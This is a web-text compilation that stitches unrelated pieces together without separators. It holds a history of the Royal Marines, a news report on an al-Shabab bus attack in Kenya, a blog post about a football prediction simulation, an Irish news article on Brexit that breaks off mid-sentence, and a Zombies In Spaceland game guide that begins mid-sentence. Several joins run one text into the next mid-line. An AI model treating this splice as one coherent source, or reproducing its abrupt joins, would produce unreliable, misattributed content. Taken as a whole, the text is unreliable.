The Royal Marine Artillery (RMA) was formed as an establishment within the British Royal Marines in 1804 to man the artillery in bomb vessels. This had been done by the Royal Regiment of Artillery, but a lawsuit by a Royal Artillery officer resulted in a court decision that army officers were not subject to naval orders. As their coats were the blue of the Royal Regiment of Artillery, this group was nicknamed the "Blue Marines" and the infantry element, who wore the scarlet coats of the British infantry, became known as the "Red Marines", often given the derogatory nickname "Lobsters" by sailors.[18]
Major General John Tupper His Majesty's Marine Forces.
French Revolutionary and Napoleonic Wars [ edit ]
During the Napoleonic Wars the Royal Marines participated in every notable naval battle on board the Royal Navy's ships and also took part in multiple amphibious actions. Marines had a dual function aboard ships of the Royal Navy in this period; routinely, they ensured the security of the ship's officers and supported their maintenance of discipline in the ship's crew, and in battle, they engaged the enemy's crews, whether firing from positions on their own ship, or fighting in boarding actions.[19]
The number of marines on board Royal Naval ships depended on the size of the ship and was generally kept at a ratio of one marine per ship gun, plus officers. For example: a First Rate Ship of the Line contained 104 marines while a 28 gun Frigate had 29. Between 1807 and 1814, the total marine establishment number was 31,400 men. Manpower (recruitment and retention) problems saw regular infantry units from the British Army being used as shipboard replacements on numerous occasions. One result of the Royal Navy's dominance of the seas in Europe, and the blockading of the French Navy's ports, was that manpower constraints became less of an issue at the end of the Napoleonic Wars. From 1812, such maritime supremacy meant the Mediterranean and Channel Fleets were assigned additional marines for use 'in destroying signal communications and other petty harassing modes of warfare'.[20]
In the Caribbean theatre volunteers from freed French slaves on Marie-Galante were used to form the 1st Corps of Colonial Marines. These men bolstered the ranks, helping the British to hold the island until reinforcements arrived. This practice was repeated during the War of 1812, where escaped American slaves were formed into the 2nd Corps of Colonial Marines. These men were commanded by Royal Marines officers and fought alongside their regular Royal Marines counterparts at the Battle of Bladensburg in August 1814.[21] During the battle a detachment of Royal Marine Artillery commanded by Lieutenant John Lawrence deployed Congreve rockets resulting in the rout of the US militiamen.[22] The Royal Marines battalion and the 21st Regiment of Foot also took part in the Burning of Washington later that day.[23]
Also present on shore during the Chesapeake campaign was a composite battalion of Marines, formed from ships' Marine detachments, frequently led by Captain John Robyns. A smaller composite battalion of about 100 men (23 officers,[24] two of whom (John Wilson 1787-1850 and John Alexander Phillips 1790-1865) were Trafalgar veterans, and 80 other ranks) also took part in the Battle of New Orleans, under the command of Brevet Major Thomas Adair, in January 1815. The only British success at New Orleans was an attack on the west bank of the Mississippi River by a 700-man force, consisting of the 100 Royal Marines, 100 sailors under Captain Rowland Money, and 3 companies of the 85th Foot.[25]
Throughout the war Royal Marines units raided up and down the east coast of America including up the Penobscot River and in the Chesapeake Bay. They later helped capture Fort Bowyer in Mobile Bay in what was the last action of the war.[26]
Crimean War and beyond [ edit ]
Royal Marines parade in the streets of Chania in Crete following the occupation of the island by the Great Powers (Britain, France, Italy, Germany, Austria-Hungary, and Russia) in spring 1897
In 1855, the marine Infantry forces were renamed the Royal Marines Light Infantry (RMLI) and in 1862 the name was slightly altered to Royal Marine Light Infantry.[1] The Royal Navy only saw limited active service at sea after 1850 (until 1914) and became interested in developing the concept of landings by Naval Brigades. In these Naval Brigades, the function of the Royal Marines was to land first and act as skirmishers ahead of sailors trained as conventional infantry and artillery. This skirmishing was the traditional function of light infantry.[27]
During the Crimean War in 1854 and 1855, three Royal Marines earned the Victoria Cross, two in the Crimea and one in the Baltic.[28]
For most of their history, British Marines had been organised as fusiliers. In the rest of the 19th Century the Royal Marines served in many landings especially in the First and Second Opium Wars (1839–1842 and 1856–1860) against the Chinese. These were all successful except for the landing at the Mouth of the Peiho in 1859, where Admiral Sir James Hope ordered a landing across extensive mud flats.[29]
Early 20th Century [ edit ]
The Royal Marines also played a prominent role in the Boxer Rebellion in China (1900), where a Royal Marine earned a further Corps Victoria Cross.[28]
Pursuing a career in the Marines had been considered social suicide through much of the 18th and 19th centuries since Marine officers had a lower standing than their counterparts in the Royal Navy. An effort was made in 1907 through the common entry or "Selborne Scheme" to reduce the professional differences between RN and RM officers through a system of common entry that provided for an initial period of service where both groups performed the same roles and underwent the same training.[30]
For the first part of the 20th century, the Royal Marines' role was the traditional one of providing shipboard infantry for security, boarding parties and small-scale landings. The Marines' other traditional position on a Royal Navy ship was manning 'X' and 'Y' (the aftermost) gun turrets on a battleship or cruiser.[31]
First World War [ edit ]
During the First World War, in addition to their usual stations aboard ship, Royal Marines were part of the Royal Naval Division which landed in Belgium in 1914 to help defend Antwerp and later took part in the amphibious landing at Gallipoli in 1915. It also served on the Western Front. The division's first two commanders were Royal Marine Artillery Generals. Other Royal Marines acted as landing parties in the naval campaign against the Turkish fortifications in the Dardanelles before the Gallipoli landing. They were sent ashore to assess damage to Turkish fortifications after bombardment by British and French ships and, if necessary, to complete their destruction. The Royal Marines were the last to leave Gallipoli, replacing both British and French troops in a neatly planned and executed withdrawal from the beaches.[32]
The Royal Marines also took part in the Zeebrugge Raid in 1918. Five Royal Marines earned the Victoria Cross in the First World War, two at Zeebrugge, one at Gallipoli, one at Jutland and one on the Western Front.[28]
Between the World Wars [ edit ]
After the war Royal Marines took part in the allied intervention in Russia. In 1919, the 6th Battalion RMLI mutinied and was disbanded at Murmansk. The Royal Marine Artillery (RMA) and Royal Marine Light Infantry (RMLI) were amalgamated on 22 June 1923.[33] Post-war demobilisation had seen the Royal Marines reduced from 55,000 (1918) to 15,000 in 1922 and there was Treasury pressure for a further reduction to 6,000 or even the entire disbandment of the Corps. As a compromise an establishment of 9,500 was settled upon but this meant that two separate branches could no longer be maintained. The abandonment of the Marine's artillery role meant that the Corps would subsequently have to rely on Royal Artillery support when ashore, that the title of Royal Marines would apply to the entire Corps and that only a few specialists would now receive gunnery training. As a form of consolation the dark blue and red uniform of the Royal Marine Artillery now became the full dress of the entire Corps. Royal Marine officers and SNCO's however continue to wear the historic scarlet in mess dress to the present day. The ranks of Private, used by the RMLI, and Gunner, used by the RMA, were abolished and replaced by the rank of Marine.[34]
A Centaur IV tank belonging to the Royal Marines Armoured Support Group, which supported the D-Day landings at "Las Breche d'Hermanville" on 6 June 1944.
Second World War [ edit ]
During the Second World War, a small party of Royal Marines were first ashore at Namsos in April 1940, seizing the approaches to the Norwegian town preparatory to a landing by the British Army two days later. The Royal Marines formed the Royal Marines Division as an amphibiously trained division, parts of which served at Dakar and in the capture of Madagascar. After the assault on the French naval base at Antsirane in Madagascar was held up, fifty Sea Service Royal Marines from HMS Ramilles commanded by Captain Martin Price were landed on the quay of the base by the British destroyer HMS Anthony after it ran the gauntlet of French shore batteries defending Diego Suarez Bay. They then captured two of the batteries, which led to a quick surrender by the French.[35]
In addition the Royal Marines formed Mobile Naval Base Defence Organisations (MNBDOs) similar to the United States Marine Corps Defense Battalions. One of these took part in the defence of Crete. Royal Marines also served in Malaya and in Singapore, where due to losses they were joined with remnants of the 2nd Battalion, Argyll and Sutherland Highlanders to form the "Plymouth Argylls". The Royal Marines formed one commando (A Commando) which served at Dieppe. One month after Dieppe, most of the 11th Royal Marine Battalion was killed or captured in an ill staged amphibious landing at Tobruk in Operation Agreement, again the Marines were involved with the Argyll and Sutherland Highlanders, this time the 1st Battalion. In 1942 the Infantry Battalions of the Royal Marine Division were re-organised as Commandos, joining the British Army Commandos. The Division command structure became a Special Service Brigade command. The support troops became landing craft crew and saw extensive action on D-Day in June 1944.[36]
A total of four Special Service Brigades (later Commando brigade) were raised during the war, and Royal Marines were represented in all of them. A total of nine RM Commandos (Battalions) were raised during the war, numbered from 40 to 48. 1 Commando Brigade had just one RM Battalion, No 45 Commando. 2 Commando Brigade had two RM battalions, Nos 40 and 43 Commandos. 3 Commando Brigade also had two, Nos 42 and 44 Commandos. 4 Commando Brigade was entirely Royal Marine after March 1944, comprising Nos 41, 46, 47 and 48 Commandos. 1 Commando Brigade took part in first in the Tunisia Campaign and then assaults on Sicily and Normandy, campaigns in the Rhineland and crossing the Rhine. 2 Commando Brigade was involved in the Salerno landings, Anzio, Comacchio, and operations in the Argenta Gap. 3 Commando Brigade served in Sicily and Burma. 4 Commando Brigade served in the Battle of Normandy and in the Battle of the Scheldt on the island of Walcheren during the clearing of Antwerp.[37]
In January 1945, two further RM brigades were formed, 116th Brigade and 117th Brigade. Both were conventional infantry, rather than in the commando role. 116th Brigade saw some action in the Netherlands, but 117th Brigade was hardly used operationally.[38]
A number of Royal Marines served as pilots during the Second World War. It was a Royal Marines officer who led the attack by a formation of Blackburn Skuas that sank the Königsberg. Eighteen Royal Marines commanded Fleet Air Arm squadrons during the course of the war, and with the formation of the British Pacific Fleet were well-represented in the final drive on Japan. Captains and majors generally commanded squadrons, whilst in one case Lt. Colonel R.C. Hay on HMS Indefatigable was Air Group Co-ordinator from HMS Victorious of the entire British Pacific Fleet.[39]
Throughout the war Royal Marines continued in their traditional roles of providing ships detachments and manning a proportion of the guns on cruisers and capital ships. They also provided the crews for the UK's minor landing craft, and the Royal Marines Armoured Support Group manned Centaur IV tanks on D Day; one of these is still on display at Pegasus Bridge.[40]
Only one Marine (Corporal Thomas Peck Hunter of 43 Commando) was awarded the Victoria Cross in the Second World War for action at Lake Comacchio in Italy. Hunter was the most recent RM commando to be awarded the medal.[28]
The Royal Marines Boom Patrol Detachment under Blondie Haslar carried out Operation Frankton and provided the basis for the post-war continuation of the SBS.[41]
After 1945 [ edit ]
Royal Marines in 1972
In 1946 the Army Commandos were disbanded, leaving the Royal Marines to continue the commando role (with supporting army elements).
Royal Marines were involved in the Korean War. 41 (Independent) Commando was reformed in 1950, and was originally envisaged as a raiding force for use against North Korea. It performed this role in partnership with the United States Navy until after the landing of United States Army X Corps at Wonsan. It then joined the US's 1st Marine Division at Koto-Ri. As Task Force Drysdale with Lt. Col. D.B. Drysdale RM in command, 41 Commando, a USMC company, a US Army company and part of the divisional train fought their way from Koto-Ri to Hagaru after the Chinese had blocked the road to the North. It then took part in the famous withdrawal from Chosin Reservoir. After that, a small amount of raiding followed, before the Marines were withdrawn from the conflict in 1951. It received the Presidential Citation after the USMC got the regulations modified to allow foreign units to receive the award.[42]
After playing a part in the long-running Malayan Emergency, the next action came in 1956, during the Suez Crisis. Headquarters 3 Commando Brigade, and Nos 40, 42 and 45 Commandos took part in the operation. It marked the first time that a helicopter assault was used operationally to land troops in an amphibious attack. British and French forces defeated the Egyptians, but after pressure from the United States, and French domestic pressure, they backed down.[43]
In September 1955 45 Commando was deployed to Cyprus to undertake anti-terrorist operations against the EOKA guerrillas during tensions between the Greek and Turkish inhabitants of the island. The EOKA were a small, but powerful organisation of Greek Cypriots, who had great local support from the Greek community. The unit, based in Malta at the time travelled to the Kyrenia mountain area of the island and in December 1955 launched Operation Foxhunter, an operation to destroy EOKA's main base.[44]
Further action in the Far East was seen during the Indonesia–Malaysia confrontation. Nos 40 and 42 Commando went to Borneo at various times to help keep Indonesian forces from worsening situations in the neighbouring region, in what was an already heated part of the world, with conflicts in Cambodia, Laos and Vietnam. During the campaign there was a company-strength amphibious assault by Lima Company of 42 Commando at the town of Limbang to rescue hostages. The Limbang raid saw three of the 150 marines involved decorated, L company 42 commando are still referred to today as Limbang Company in memory of this archetypal commando raid.[45]
In January 1964, part of the Tanzanian Army mutinied. Within 24 hours elements of 41 Commando had left Bickleigh Camp, Plymouth, Devon, and were travelling by air to Nairobi, Kenya, continuing by road into Tanzania. At the same time, Commandos aboard HMS Bulwark sailed to East Africa and anchored off-shore from Dar es Salaam, Tanzania. The revolt was put down and the next six months were spent in touring Tanzanian military out-posts disarming military personnel.[46]
From 1969 onwards, Royal Marine units regularly deployed to Northern Ireland during The Troubles, during the course of which 13 were killed in action.[47] A further eleven died in the Deal barracks bombing of the Royal Marines School of Music in 1989.[48]
Between 1974 and 1984, the Royal Marines undertook three United Nations tours of duty in Cyprus. The first was in November 1974, when 41 Commando took over the Limassol District from the 2nd Battalion of the Guards Brigade, following the Turkish invasion, and became the first commando to wear the light blue berets of the UN when they began the Corps' first six-month tour with the UN forces in Cyprus (UNIFCYP).[49]
The Falklands War provided the backdrop to the next action of the Royal Marines. Argentina invaded the islands in April 1982. A British task force was immediately despatched to recapture them, and given that an amphibious assault would be necessary, the Royal Marines were heavily involved. 3 Commando Brigade was brought to full combat strength, with not only 40, 42 and 45 Commandos, but also the 2nd and 3rd Battalions of the Parachute Regiment attached. The troops were landed at San Carlos Water at the western end of East Falkland, and proceeded to "yomp" across the entire island to the capital, Stanley, which fell on 14 June 1982 to 2nd Battalion The Parachute Regiment. A Royal Marines divisional headquarters was deployed, under Major-General Jeremy Moore, who was commander of British land forces during the war.[50]
The main element of 3 Commando Brigade was not deployed in the 1991 Gulf War. However, 24 men from K Company, 42 Commando Royal Marines were deployed as six man teams aboard two Royal Navy destroyers and frigates. They were used as ship boarding parties and took part in numerous boardings of suspect shipping. There were also further elements deployed to provide protection of shipping whilst in ports throughout the Gulf. The main element of 3 Commando Brigade was deployed to northern Iraq in the aftermath to provide aid to the Iraqi Kurds as part of Operation Safe Haven.[51]
From 2000 onwards, the Royal Marines began converting from their traditional light infantry role towards an expanded force protection type role, with the introduction of the Commando 21 concept, leading to the introduction of the Viking, the first armoured vehicle to be operated by the Royal Marines for half a century.[52]
In November 2001, after the seizure of Bagram Air Base by the Special Boat Service, Charlie Company of 40 Commando became the first British regular forces into Afghanistan, using Bagram Air base to support British and US Special Forces Operations.[53]
Royal Marines in Afghanistan in January 2009
2002 saw the deployment of 45 Commando Royal Marines to Afghanistan, where contact with enemy forces was expected to be heavy. However little action was seen, with no Al-Qaeda or Taliban forces being found or engaged.[54]
3 Commando Brigade deployed on Operation TELIC, the British involvement in the Iraq war, in early 2003 with the USMC's 15th Marine Expeditionary Unit under its command. The Brigade conducted an amphibious assault on the Al-Faw Peninsula in Iraq in support of US Navy SEALs. The 15th Marine Expeditionary Unit and 42 Commando securing the port of Umm Qasr and 40 Commando conducting a helicopter assault in order to secure the oil installations to assure continued operability of Iraq's export capability. The attack proceeded well, with light casualties. 3 Commando Brigade served as part of the US 1st Marine Division and received the US Presidential Unit Citation, in fact the 2nd time in 50 years the Royal Marines received this.[55]
In 2004, Iranian armed forces took Royal Navy personnel prisoner, including six Royal Marines, on the Shatt al-Arab (Arvand Rud in Persian) river, between Iran and Iraq.[56] They were released three days later following diplomatic discussions between the UK and Iran.
In November 2006, 3 Commando Brigade relieved 16 Air Assault Brigade of the British Army in Helmand Province, Afghanistan, as part of Operation Herrick.[57]
In 2007, Iranian armed forces also took prisoner Royal Navy personnel, including seven Royal Marines, when a boarding party from HMS Cornwall was seized in the waters between Iran and Iraq, in the Persian Gulf.[58]
In 2008, Lance-Corporal Matthew Croucher of 40 Commando was awarded the George Cross (GC) after throwing himself on a grenade to save the lives of the other marines in his patrol, in Afghanistan. Remarkably, he managed to keep his rucksack between himself and the grenade, and that, together with his body armour, meant he suffered only very minor injuries.[59]
Shore bases [ edit ]
When first permanently established (1755), the Marines were formed into three Divisions based in the three principal Royal Navy Dockyards: Portsmouth, Chatham and Plymouth.[1]
18th century [ edit ]
The Royal Marines was the first complete British corps to be provided with its own barracks - one for each Division:[60]
19th and 20th centuries [ edit ]
In 1805 a fourth division was established, based at Woolwich (site of another Royal Dockyard). The Royal Marine Barracks, Woolwich and Infirmary were built there (in Frances Street) between 1842 and 1848; both were progressive designs for their time. After the closure of the dockyard, the division was disbanded (1869). The buildings were handed over to the army and were renamed Cambridge Barracks: they were largely demolished in the 1975 but the gatehouse remains.[65]
In 1861 the Royal Marine Depot, Deal was established alongside the important naval anchorage known as the Downs. It was initially served by Marines from the Chatham, Portsmouth and Woolwich Divisions. The Depot remained in service until 1991 although the Royal Marines School of Music remained on site until 1996.[66]
The Royal Marine Artillery was initially based at Chatham, but in 1824 was moved to its own dedicated barracks, Gunwharf Barracks, in Portsmouth. In 1858 the Royal Marine Artillery moved from there to Fort Cumberland (which continued to be used for gunnery training into the 20th century). The establishment of the Royal Marine Artillery as a separate unit in 1859 led to Eastney Barracks being built to accommodate them; the barracks were opened at Eastney in 1867.[67]
Following the amalgamation of the RM Artillery and Light Infantry in 1923, Forton Barracks was closed and Eastney became the Corps' main base in Portsmouth.[68] Eastney Barracks remained the Corps Headquarters until 1995, when it was sold and converted to private housing.[69]
See also [ edit ]
Notes [ edit ]
Sources [ edit ]
Further reading [ edit ]Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Nov. 22, 2014, 7:59 AM GMT / Updated Nov. 22, 2014, 6:01 PM GMT
NAIROBI, Kenya — Somalia's al-Shabab Islamists said they staged an attack in Kenya on Saturday in which gunmen ordered non-Muslims off a bus and shot 28 dead, while sparing Muslim passengers. Three of the group led out to be killed saved their lives by reciting verses of the Koran for the militants, a local security official said. Al-Shabab said its men had ambushed the Nairobi-bound bus outside Mandera town, near Kenya's border with Somalia and Ethiopia, and killed the non-Muslims in retaliation for raids on mosques in the port city of Mombasa.
Early this week, police in Mombasa shot dead a man and arrested over 376 others when they searched four mosques in the port city that they said were being used to recruit militants and stash weapons. "The Mujahideen successfully carried out an operation near Mandera early this morning, which resulted in the perishing of 28 crusaders, as a revenge for the crimes committed by the Kenyan crusaders against our Muslim brethren in Mombasa," Sheikh Ali Mohamud Rage, al-Shabab's spokesman, said in a statement. Islamist militants use the term "crusaders" to describe Christians or non-Muslims in general.
Police Inspector General David Kimaiyo told reporters that 19 men and nine women were killed. "Preliminary reports indicate that the attackers, who were heavily armed, later fled toward the border into Somali," he said.
IN-DEPTH
— ReutersSo I’ve been writing for Dictate the Game for nearly a year now and I’ve decided to take what I want to do in the future and apply it to my writing. I’m just about to start University, studying mathematics and I’ve also done some programming in the past. This gives me a nice challenge of trying to combine the two. I recently read the bok “Soccermatics: Mathematical Adventures in the Beautiful Game Pro-Edition” by David Sumpter which looks at how Mathematics interacts with Football and visa-versa.
In the book, David discusses how ‘expected goals’ are used in football, in a press conference last year, the Arsenal manager actually mentioned the term which suggested that a mathematical view of the game is becoming less alien. Also in the latest Football Manager game, you can hire ‘Data Analysts’ who will analyse your matches in a similar way.
One of the chapters of the book looked at predicting football matches, and I tried to create my own formula for predicting matches and the guidelines were as follows:
Each team was given an ‘attack score’ and ‘defence score’. The attack score was measure by how many goals a team expected to score per 90 minutes based on last years league. So last year Chelsea scored 85 goals in 38 matches, giving them an attack score of 2.236. Defence score was worked out with the same logic but with goals conceded (Chelsea’s defence score was 0.868).
For the teams who were promoted, I used extrapolation from previous teams and how they had fared in their first season after promotion. This gave me an expected Goals For and Against for the three new teams which meant I could give them scores too.
When teams played each other, I averaged a teams attack score with the others defence score to estimate how many goals they were likely to score in that match and did the same for both teams.
I then simulated the match (90 mins, each minute there is an x% chance of scoring) for both teams to create a final score
Simulate the match thousands of times
Average the whole thing
Profit.
The code wasn’t too long, and once I’d written out the main match playing code, the rest just needed new numbers. I managed to get it working before the first game of the season and I plan to use it to predict the entire season, and I’ll share the results of the first week and how I plan to adapt the code.
So here are my results from the first week.
Notice of the 10 games I got no scores exactly right, but 6 outcomes were correct and a lot of games were ‘very close’. I predicted narrow wins for Arsenal and Everton, and dominant wins for the Manchester teams. Not a bad start, but I’m hoping to improve the code.
Things I’m looking to implement to make the code better:
Include a home/away advantage for teams, which can often make an impact on games.
Take into account recent form, both in terms of goal scoring and conceding.
I will be hoping to update you on how my code progresses and how much predictions (hopefully) improve!
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Foreign Affairs Minister Charlie Flanagan has strongly defended the Government's handling of the Brexit crisis - and brushed aside suggestions a dedicated "Brexit Minister" should be appointed.
Mr Flanagan said all the Government are closely involved in handling the fallout from Britain's expected EU exit in April 2019. He said new administrative structures and resources had been put in place and intensive diplomatic contacts across the European Union would continue.
"We will show the same determination we showed in the spring of 2011 when we came into office and were faced with a banjaxed economy," Mr Flanagan said.
The Foreign Affairs Minister said both he and Taoiseach Enda Kenny have had a long series of meetings with all key British and EU leaders since the June 23 Brexit result emerged. He also said he met British Foreign Secretary Boris Johnson last Friday and that Johnson was due to visit Dublin in the coming weeks.
Following Sunday's announcement that Britain will kick off the 'divorce proceedings' in late March of next year, there has been criticism of the Dublin Government's response.
Read more: Ireland braced for serious fallout from Brexit - here are six things you need to know now
Fianna Fáil foreign affairs spokesman Darragh O'Brien said the Government appeared to lack coordination in tackling all of the core issues. He said the idea of appointing a dedicated "Brexit Minister" should be looked at - though coordination might be improved in other ways.
"It is clear that Britain is taking a very hard line in its approach to the type of relationship they want with the EU after Brexit actually happens. Theresa May's emphasis on immigration and references to banishing any role for the EU Court of Justice do not bode well and consequences could prove harsh for Ireland," the Fianna Fáil spokesman said.
The Foreign Affairs Minister said it would take time for any evidence of "give and take" to emerge from the UK-EU negotiations on the separation terms and the framing of a new set of relationships. He noted that Ms May had promised to consult the various constituent parts of the UK.
"We will be stressing here that Northern Ireland's issues around Brexit are most acute because of the peace process and the links with the rest of the island of Ireland where we intend to play a full role as EU and Eurozone members," Mr Flanagan said.
The Minister said Ireland will be defending its trade and economic interests in the upcoming process, including the North's peace process, North-South links, the common |
cutout of the alien across from the prize desk Behind the Prize Desk laying on the floor On the top floor, in the trashcan against the Demon Attack game
Back of Arcade: Hanging to the left of Blue Bolts inside a store window Inside the bumper-cars area, tucked behind the cars piled up in the corner In a cavern on the left side when going from the Astrocade to Polar Peak
Shredder
The Shredder is one of the many "Wonder Weapons" within Zombies In Spaceland. When all parts are acquired go to the Octonian cutout in the Underground Passage and obtain the Shredder
"Battery" Piece (The left piece in the UI) Shoot the back of the boat that goes through the lake in Polar Peaks, the part will fly out of it and land in the geysers around the fountain. Press your activation button to obtain it.
"Angry Mike Plush" Piece (The middle piece in the UI) All Red Souvenir Tokens in Machine in Kepler
"Crystal" Piece (The right piece in the UI) Purchase an Arcane Core (300 Tickets) Purchase Golden Teeth (300 Tickets) Have the Gator in the Kepler System close his mouth on a Brute, place Golden Teeth where Teeth broke off Travel to Pack-A-Punch, hold square on the Ritual Stand to spawn the Mini UFOs Travel to the Kepler System, get 15-24 kills within 1 use of the Chromosphere Trap The UFO will now change paths, follow it and get kills near it with your Arcane Weapon Once complete, the UFO will drop a ball of light, hold square to acquire, and it will upgrade your weapon with the fire element Head back to the Gator's mouth, shoot the 4th circle on the machine in its mouth with your upgraded weapon, it will open, giving you the crystal
SETI-COM
"Calculator" Piece (The left piece in the UI) Yellow Bench near the portal to Pck-A-Punch (Picture: http://prntscr.com/d4t301) Trashcan in Arcade (Picture: http://prntscr.com/d4t3dk) Yellow lunch table Kepler system near the Chromosphere (Picture: http://prntscr.com/d4t3zu)
"Boombox" Piece (The middle piece in the UI) Racin' Stripes Room on countertop (Picture: http://prntscr.com/d4t6dh) Yellow cart on the underpass bridge in Cosmic Way (Picture: http://prntscr.com/d4t4xl) Moonlight Cafe countertop in the Kepler System (Picture: http://prntscr.com/d4t5i8)
"Umbrella" Piece (The right piece in the UI) Red bench by the bottom of the Hyper Slides (Picture: http://prntscr.com/d4t73x) Inside the store in Polar Peak (Picture: http://prntscr.com/d4t7vf) Next to the terminal for activating the Star Mission trap on the floor in the corner (Picture: http://prntscr.com/d4t8hu)
Game Features
This is a breakdown of all of the Game Features of Zombies In Spaceland
Perks
Perk Cost Location Description Up 'N Atoms (Solo) $500 Spawn It'll pick you up when they put you down! Up 'N Atoms (Co-op) $1500 Spawn Get em up faster! Tuff Nuff $2500 In Journey into Space near the Power Switch Got Health? Have more! Bang Bangs $2000 Fountain Area in Polar Peak Double your bullets, double your fun! Quickies $3000 In Polar Peak near the roller coaster Reload in a flash! Mule Munchies $2000 Journey into Space near the Cosmic Tunes station Sometimes you need a third hand! Racin' Stripes $2000 Underground Employee Lounge Run so far away! Trail Blazers $1500 Between the Astrocade and Polar Peak Sliding is so hot right now! Blue Bolts $1500 Near the entrance to the Underground outside the Astrocade Shock em all when you reload! Bombstoppers $1500 In the Kepler System Explosions won't get you down! Slappy Taffy $2000 In the Kepler System Punch em in the face!
Weapons
There is a host of unique and powerful weapons within Zombies In Spaceland! Below is a complete list of the weapons whether they're available on the wall or in the magic wheel and whether they have a weapon kit or not.
Weapons highlighted in bold are Wonder Weapons or Special Weapons and do not have a Weapon Kit.
Weapon Name Wall Weapon? Cost Location(s) Magic Wheel? M1 Yes $500 Spawn No Hailstorm Yes $500 Spawn No Banshee Yes $750 Spawn & Underground No Oni Yes $750 Cosmic Way No ERAD Yes $1250 Journey into Space & Kepler System No Volk Yes $1500 Journey into Space & Polar Peaks No Karma-45 Yes $1500 Journey into Space No NV-4 Yes $1500 Astrocade No HVR Yes $1250 Kepler System & Underground No RPR Evo Yes $1250 Polar Peaks No R3K No - - Yes Type-2 No - - Yes KBAR-32 No - - Yes FHR-40 No - - Yes Titan No - - Yes Mauler No - - Yes R.A.W. No - - Yes KBS Longbow No - - Yes DMR-1 No - - Yes Widowmaker No - - Yes EBR-800 No - - Yes Reaver No - - Yes DCM-8 No - - Yes Rack-9 No - - Yes TF-141 No - - Yes Mactav-45 No - - Yes S-Ravage No - - Yes Hornet No - - Yes OSA Grenade Launcher No - - Yes EMC No - - Yes Spartan SA3 No - - Yes Howitzer No - - Yes P-LAW No - - Yes R-VN Yes - - No X-Eon No - - Yes VPR No - - Yes Trencher No - - Yes Auger No - - Yes Trek-50 No - - Yes Proteus No - - Yes M.2187 No - - Yes Forge Freeze Yes 500 Tickets Astrocade No Head-Cutter No - Polar Peak No Face-Melter No - Journey into Space No Dischord No - Astrocade No Shredder No - Underground No
NOTE: All weapons except Wonder Weapons & Special Weapons have a Weapon Kit.
Fate & Fortune Cards
Fate & Fortune Cards are used to increase your health, speed, damage, accuracy and feature a whole array of unique abilities! and effects to enhance gameplay. These act similar to Gobblegum. You can preset 5 cards in a deck before a game which you will receive throughout the game over time and by killing Zombies. To find out more, check out the Fate and Fortune Cards Breakdown.
You will be able to gain any Fate and Fortune Cards on any map. In the sections below you'll get a rundown of Fate and Fortune Cards names, descriptions, how they are activated, how long they last, what type they are and what DLC they are from.
For a FULL breakdown of every Fate & Fortune Card, check out the Fate and Fortune Cards Breakdown.
Soundtrack
There are many classic 80's songs used throughout Zombies In Spaceland, here are all of them and here's a link to a Spotify Playlist featuring them
Soft Cell - Tainted Love
Run D.M.C. - King Of Rock
The Gap Band - You Dropped A Bomb On Me
Frankie Goes To Hollywood - Relax
John Foxx - Underpass
Europe - The Final Countdown
Midnight star - Freak-A-Zoid
APB - Shoot You Down
Debbie Deb - When I Hear Music
Blondie - Rapture
The Human League - Seconds
Dazz Band - Let it Whip
The Specials - Ghost Town
Ministry - Effigy (I'm not an)
R.E.M - It's the End of the World As We Know It
Twisted Sister - I Wanna Rock
Ministry - Every Day Is Halloween
Corey Hart - Sunglasses at Night
Hashim - We're rocking the planet
Animotion - Obsession
Berlin - Metro
Violent Femmes - Add it Up
Trans-X - Living on Video
Stu Phillips & Glen A. Larson - Knight-Rider
Call Of Duty Modern Warfare 2: Main Theme (80s Style REMIX) - [Easter Egg- Shoot teddy bears around the map]
Call Of Duty 4 Modern Warfare: Main Theme (80's Style REMIX) - [Easter Egg - Shoot 3 teddy bear pictures on "Employee Of The Month" boards]
Look below to find a guide to activate both of the Remixed MW Songs
Storyline
This is a complete overview of the Storyline, Lore, Radios, Ciphers, etc. in Zombies In Spaceland
Cinematics
Zombies In Spaceland Reveal Trailer
Zombies In Spaceland Intro Cartoon
Zombies In Spaceland 'Willard Wyler' Outro Cartoon
Storyline
Map Description
Four aspiring actors arrive at an old rundown theater where they’re invited to watch some old horror movies, they are then unexpectedly transported into the screen – actually becoming characters in those films. Now they must fight to survive an onslaught of deadly zombies before the last reel runs out and their souls are sacrificed forever.
Main Story
The story consists of the 4 main characters who are actors meeting up inside a theater for an audition for a Willard Wyler movie. The 4 actors meet Wyler and he explains to them that to get a good feel for acting in his movies they must watch one. As the 4 actors sit down to watch the movie, Wyler goes into the projection room and proceeds to enact a satanic ritual related to the ancient demon named Mephistopheles (related to the devil and hell) which then sucks the 4 actors into the movie named Zombies In Spaceland. Upon entering the movie the 4 actors become 4 personas from the movie based off the 80's. They are then known as A.J. the Jock, Poindexter the Nerd, Sally the Valley Girl, and Andre the Rapper. As the 4 characters progress throughout Spaceland they come across another person Wyler trapped in the film named David Hasselhoff. 'Hoff explains to the characters that he and them will need to work together to escape Wyler's film. The 4 characters manage to acquire a piece of the Soul Key which will help them later on their journey. While we are unsure of what happens after the crew obtains the piece of the Soul Key, we do know that Zombies In Spaceland is just the first stop on Willard Wyler's film festival of horror.
Characters
Zombies In Spaceland features a set of brand new loveable characters.
Willard Wyler
Role: Director, Announcer, Satanist?
Description: Once the shining star of horror, Willard Wyler's crafted the most captivating films that hypnotized audiences and left them begging for more... Blood. Years ago, the genius director slowly retreated into obscurity; never to be seen again. Or so everyone thought... Now he's back — ready to deliver thrills, chills, style, a gripping story — and of course, a body count!
Notable Features: Critically acclaimed director of horror movies, has connections with Mephistopheles, has outrageously priced nachos
Actor: Paul Rubens
David Hasselhoff
Role: "Cosmic Tunes DJ" and Being David Hasselhoff
Description: An icon who was sucked into the never-ending zombie apocalypse some time ago, he’s smart, and resourceful, and has figured out how to survive inside Willard Wyler’s movie. He will now break out all the stops to aid the new victims, stop Wyler, and finally, escape this real-life nightmare.
Notable Features: Everything about him, mostly his abs
Actor: Himself of course!
A.J.
Role: "The Jock"
Description: A natural born athlete with a silver tongue and Adonis-like looks. With his sporting ability at his disposal, he’s ready to knock this role out of the park, one zombie head at a time, or die trying.
Notable Features: His athleticism, looking extremely creepy/old in-game
Actor: Ike Barinholtz
Poindexter
Role: "The Nerd"
Description: With taped glasses, a color-coded pocket protector and an astonishing lack of physical prowess, he'll need to pull the wedgie out of his crack and get to work if he intends to survive.
Notable Features: Being a wimp, his pocket protector, his unlimited knowledge on batteries
Actor: Seth Green
Sally
Role: "The Valley Girl"
